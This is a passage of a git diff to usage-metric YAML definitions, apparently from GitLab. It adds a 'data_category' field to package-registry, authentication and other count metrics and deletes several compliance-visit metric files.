+++ b/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_conan_delete_package
description: A count of Conan packages that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml b/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml
index 9465a30e6a5..1c7b9619168 100644
--- a/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml
+++ b/config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_conan_pull_package
description: A count of Conan packages that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml b/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml
index 6bc0ea59256..c87ed74070d 100644
--- a/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml
+++ b/config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_conan_push_package
description: A count of Conan packages that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml b/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml
index d475ea39438..a98b839d299 100644
--- a/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml
+++ b/config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_container_delete_package
description: A count of container images that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml b/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml
index 7a9070b623a..cbf3b097b6f 100644
--- a/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml
+++ b/config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_container_pull_package
description: A count of container images that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml b/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml
index 11402a7b5e7..d939cbcd931 100644
--- a/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml
+++ b/config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_container_push_package
description: A count of container images that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml b/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml
index 25fd4257ed2..e0f63656b3c 100644
--- a/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml
+++ b/config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_debian_delete_package
description: A count of Debian packages that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml b/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml
index c4017a636a5..ecf1ca05da8 100644
--- a/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml
+++ b/config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_debian_pull_package
description: A count of Debian packages that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml b/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml
index 7af47fe182d..7c91339b282 100644
--- a/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml
+++ b/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_debian_push_package
description: A count of Debian packages that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml b/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml
index 11196fc56c3..012d756ff29 100644
--- a/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml
+++ b/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_delete_package
description: A count of packages that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml b/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml
index 00650c4a139..8babf39989a 100644
--- a/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml
+++ b/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_delete_package_by_deploy_token
description: A count of packages that have been deleted using a Deploy Token
product_section: ops
diff --git a/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml b/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml
index f8240096bb9..1abc0fbc116 100644
--- a/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml
+++ b/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_delete_package_by_guest
description: A count of packages that have been deleted using a Guest
product_section: ops
diff --git a/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml b/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml
index 012d7d2bf39..279caecac84 100644
--- a/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml
+++ b/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_delete_package_by_user
description: A count of packages that have been deleted using a logged in user
product_section: ops
diff --git a/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml b/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml
index fda3a7065e1..fd67e83e7e6 100644
--- a/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml
+++ b/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_generic_delete_package
description: A count of generic packages that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml b/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml
index 34b718a2497..6dc7c95f21a 100644
--- a/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml
+++ b/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_generic_pull_package
description: A count of generic packages that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml b/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml
index 5c39995a1b2..25b9ef192b5 100644
--- a/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml
+++ b/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_generic_push_package
description: A count of generic packages that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml b/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml
index c856484e691..7950eb474a3 100644
--- a/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml
+++ b/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_golang_delete_package
description: A count of Go modules that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml b/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml
index e4bfe9f50d6..ff959ac3e98 100644
--- a/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml
+++ b/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_golang_pull_package
description: A count of Go modules that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml b/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml
index 6bfc5255e9f..767b4c5b2b1 100644
--- a/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml
+++ b/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_golang_push_package
description: A count of Go modules that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml b/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml
index 43c8d16986d..5f358229c12 100644
--- a/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml
+++ b/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_maven_delete_package
description: A count of Maven packages that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml b/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml
index 3c95516325e..7a978c4849c 100644
--- a/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml
+++ b/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_maven_pull_package
description: A count of Maven packages that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml b/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml
index d1843778ad9..2681085ac8d 100644
--- a/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml
+++ b/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_maven_push_package
description: A count of Maven packages that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml b/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml
index 2c3ca5d1dfb..dd410f89789 100644
--- a/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml
+++ b/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_npm_delete_package
description: A count of npm packages that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml b/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml
index 639ecf0b0fb..e93e3a358ca 100644
--- a/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml
+++ b/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_npm_pull_package
description: A count of npm packages that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml b/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml
index 815c2b0194d..a9c614feac9 100644
--- a/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml
+++ b/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_npm_push_package
description: A count of npm packages that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml b/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml
index 1cd5ec0e63f..c80830ee7b1 100644
--- a/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml
+++ b/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_nuget_delete_package
description: A count of NuGet packages that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml b/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml
index 06f2b212ecc..1f2c87db111 100644
--- a/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml
+++ b/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_nuget_pull_package
description: A count of NuGet packages that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml b/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml
index 2cbe0345ccc..c95aac148f6 100644
--- a/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml
+++ b/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_nuget_push_package
description: A count of NuGet packages that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml b/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml
index 879cfd64e03..b4bad0722a9 100644
--- a/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml
+++ b/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_pull_package
description: A count of packages that have been downloaded from the package registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml b/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml
index 048286d10bf..b20ebc21ff1 100644
--- a/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml
+++ b/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_pull_package_by_deploy_token
description: A count of packages that have been downloaded from the package registry using a Deploy Token
product_section: ops
diff --git a/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml b/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml
index 58e7b47407b..f2e6d384210 100644
--- a/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml
+++ b/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_pull_package_by_guest
description: A count of packages that have been downloaded from the package registry by a guest
product_section: ops
diff --git a/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml b/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml
index d7cac5b13f1..7ade3466544 100644
--- a/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml
+++ b/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_pull_package_by_user
description: A count of packages that have been downloaded from the package registry by a user
product_section: ops
diff --git a/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml b/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml
index a4008091a8a..80e82966328 100644
--- a/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml
+++ b/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_push_package
description: A count of packages that have been published to the package registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml b/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml
index 5e4f76b1bad..68cb5659884 100644
--- a/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml
+++ b/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_push_package_by_deploy_token
description: A count of packages that have been published to the package registry using a deploy token
product_section: ops
diff --git a/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml b/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml
index 6205204cb5a..f8193329f77 100644
--- a/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml
+++ b/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_push_package_by_guest
description: A count of packages that have been published to the package registry by a Guest
product_section: ops
diff --git a/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml b/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml
index bb2bac41a08..adad2ea4451 100644
--- a/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml
+++ b/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_push_package_by_user
description: A count of packages that have been published to the package registry by a user
product_section: ops
diff --git a/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml b/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml
index 42c579ba3be..dcd35a737d8 100644
--- a/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml
+++ b/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_pypi_delete_package
description: A count of Python packages that have been deleted from the package registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml b/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml
index 06b6e8de0b0..54b4320cae9 100644
--- a/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml
+++ b/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_pypi_pull_package
description: A count of Python packages that have been downloaded from the package registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml b/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml
index 98bd5734c3b..336f343a7fc 100644
--- a/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml
+++ b/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_pypi_push_package
description: A count of Python packages that have been published to the package registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml b/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml
index 963ceae076d..3fb42a6f916 100644
--- a/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml
+++ b/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_tag_delete_package
description: A count of package tags that have been deleted from the package registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml b/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml
index 14021b24575..0a9be3d713a 100644
--- a/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml
+++ b/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_tag_pull_package
description: A count of package tags that have been downloaded from the package registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml b/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml
index 4991ccbd835..666dc88da46 100644
--- a/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml
+++ b/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_tag_push_package
description: A count of package tags that have been published to the package registry
product_section: ops
diff --git a/config/metrics/counts_all/20210216183023_wiki_pages_view.yml b/config/metrics/counts_all/20210216183023_wiki_pages_view.yml
index f9d6124b57a..41bb80ec9e0 100644
--- a/config/metrics/counts_all/20210216183023_wiki_pages_view.yml
+++ b/config/metrics/counts_all/20210216183023_wiki_pages_view.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.wiki_pages_view
description: ''
product_section: ''
diff --git a/config/metrics/counts_all/20210216183146_coverage_fuzzing_jobs.yml b/config/metrics/counts_all/20210216183146_coverage_fuzzing_jobs.yml
index 77fe44a1836..432458bb371 100644
--- a/config/metrics/counts_all/20210216183146_coverage_fuzzing_jobs.yml
+++ b/config/metrics/counts_all/20210216183146_coverage_fuzzing_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.coverage_fuzzing_jobs
description: ''
product_section: ''
diff --git a/config/metrics/counts_all/20210216183149_dast_on_demand_pipelines.yml b/config/metrics/counts_all/20210216183149_dast_on_demand_pipelines.yml
index fc0ed6e5429..a4a5197aec2 100644
--- a/config/metrics/counts_all/20210216183149_dast_on_demand_pipelines.yml
+++ b/config/metrics/counts_all/20210216183149_dast_on_demand_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.dast_on_demand_pipelines
description: ''
product_section: ''
diff --git a/config/metrics/counts_all/20210216183400_omniauth_providers.yml b/config/metrics/counts_all/20210216183400_omniauth_providers.yml
index bb2be873f57..efe0e1c5bfe 100644
--- a/config/metrics/counts_all/20210216183400_omniauth_providers.yml
+++ b/config/metrics/counts_all/20210216183400_omniauth_providers.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.omniauth_providers
description: Number of unique user logins using an OmniAuth provider
product_section: dev
diff --git a/config/metrics/counts_all/20210216183402_two-factor.yml b/config/metrics/counts_all/20210216183402_two-factor.yml
index a2daf5c3299..2d1aed6115a 100644
--- a/config/metrics/counts_all/20210216183402_two-factor.yml
+++ b/config/metrics/counts_all/20210216183402_two-factor.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.user_auth_by_provider.two-factor
description: Number of unique user logins using two factor authentication
product_section: dev
diff --git a/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml b/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml
index 42ac42195a1..28aa20c33ad 100644
--- a/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml
+++ b/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-u2f-device
description: Number of unique user logins using two factor via a U2F device
product_section: dev
diff --git a/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml b/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml
index 663a15dbdaa..b0e93f08989 100644
--- a/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml
+++ b/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-webauthn-device
description: Number of unique user logins using two factor via a WebAuthn device
product_section: dev
diff --git a/config/metrics/counts_all/20210216183408_standard.yml b/config/metrics/counts_all/20210216183408_standard.yml
index 0a0b1684b50..21267298f1a 100644
--- a/config/metrics/counts_all/20210216183408_standard.yml
+++ b/config/metrics/counts_all/20210216183408_standard.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.user_auth_by_provider.standard
description: Number of unique user logins using password authentication
product_section: dev
diff --git a/config/metrics/counts_all/20210216183410_google_oauth2.yml b/config/metrics/counts_all/20210216183410_google_oauth2.yml
index d644033c5cc..24fd143171c 100644
--- a/config/metrics/counts_all/20210216183410_google_oauth2.yml
+++ b/config/metrics/counts_all/20210216183410_google_oauth2.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.user_auth_by_provider.google_oauth2
description: Number of unique user logins using Google OAuth authentication
product_section: dev
diff --git a/config/metrics/counts_all/20210216183514_user_coverage_fuzzing_jobs.yml b/config/metrics/counts_all/20210216183514_user_coverage_fuzzing_jobs.yml
index b7f7eea5f71..014e6f16623 100644
--- a/config/metrics/counts_all/20210216183514_user_coverage_fuzzing_jobs.yml
+++ b/config/metrics/counts_all/20210216183514_user_coverage_fuzzing_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.secure.user_coverage_fuzzing_jobs
description: ''
product_section: ''
diff --git a/config/metrics/counts_all/20210216183904_g_compliance_dashboard.yml b/config/metrics/counts_all/20210216183904_g_compliance_dashboard.yml
deleted file mode 100644
index 03e450d3438..00000000000
--- a/config/metrics/counts_all/20210216183904_g_compliance_dashboard.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: compliance_unique_visits.g_compliance_dashboard
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216183906_g_compliance_audit_events.yml b/config/metrics/counts_all/20210216183906_g_compliance_audit_events.yml
deleted file mode 100644
index bd4ef926805..00000000000
--- a/config/metrics/counts_all/20210216183906_g_compliance_audit_events.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: compliance_unique_visits.g_compliance_audit_events
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216183908_i_compliance_audit_events.yml b/config/metrics/counts_all/20210216183908_i_compliance_audit_events.yml
deleted file mode 100644
index c7581cc01dc..00000000000
--- a/config/metrics/counts_all/20210216183908_i_compliance_audit_events.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: compliance_unique_visits.i_compliance_audit_events
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216183910_i_compliance_credential_inventory.yml b/config/metrics/counts_all/20210216183910_i_compliance_credential_inventory.yml
deleted file mode 100644
index af0d8417863..00000000000
--- a/config/metrics/counts_all/20210216183910_i_compliance_credential_inventory.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: compliance_unique_visits.i_compliance_credential_inventory
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216183912_a_compliance_audit_events_api.yml b/config/metrics/counts_all/20210216183912_a_compliance_audit_events_api.yml
deleted file mode 100644
index caf8da049d5..00000000000
--- a/config/metrics/counts_all/20210216183912_a_compliance_audit_events_api.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: compliance_unique_visits.a_compliance_audit_events_api
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216183914_compliance_unique_visits_for_any_target.yml b/config/metrics/counts_all/20210216183914_compliance_unique_visits_for_any_target.yml
deleted file mode 100644
index fb67caaa03e..00000000000
--- a/config/metrics/counts_all/20210216183914_compliance_unique_visits_for_any_target.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: compliance_unique_visits.compliance_unique_visits_for_any_target
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210303153000_package_events_i_package_rubygems_delete_package.yml b/config/metrics/counts_all/20210303153000_package_events_i_package_rubygems_delete_package.yml
index 8e6075b4aad..448d5cb0fba 100644
--- a/config/metrics/counts_all/20210303153000_package_events_i_package_rubygems_delete_package.yml
+++ b/config/metrics/counts_all/20210303153000_package_events_i_package_rubygems_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_rubygems_delete_package
description: Total count of RubyGems packages delete events
product_section: ops
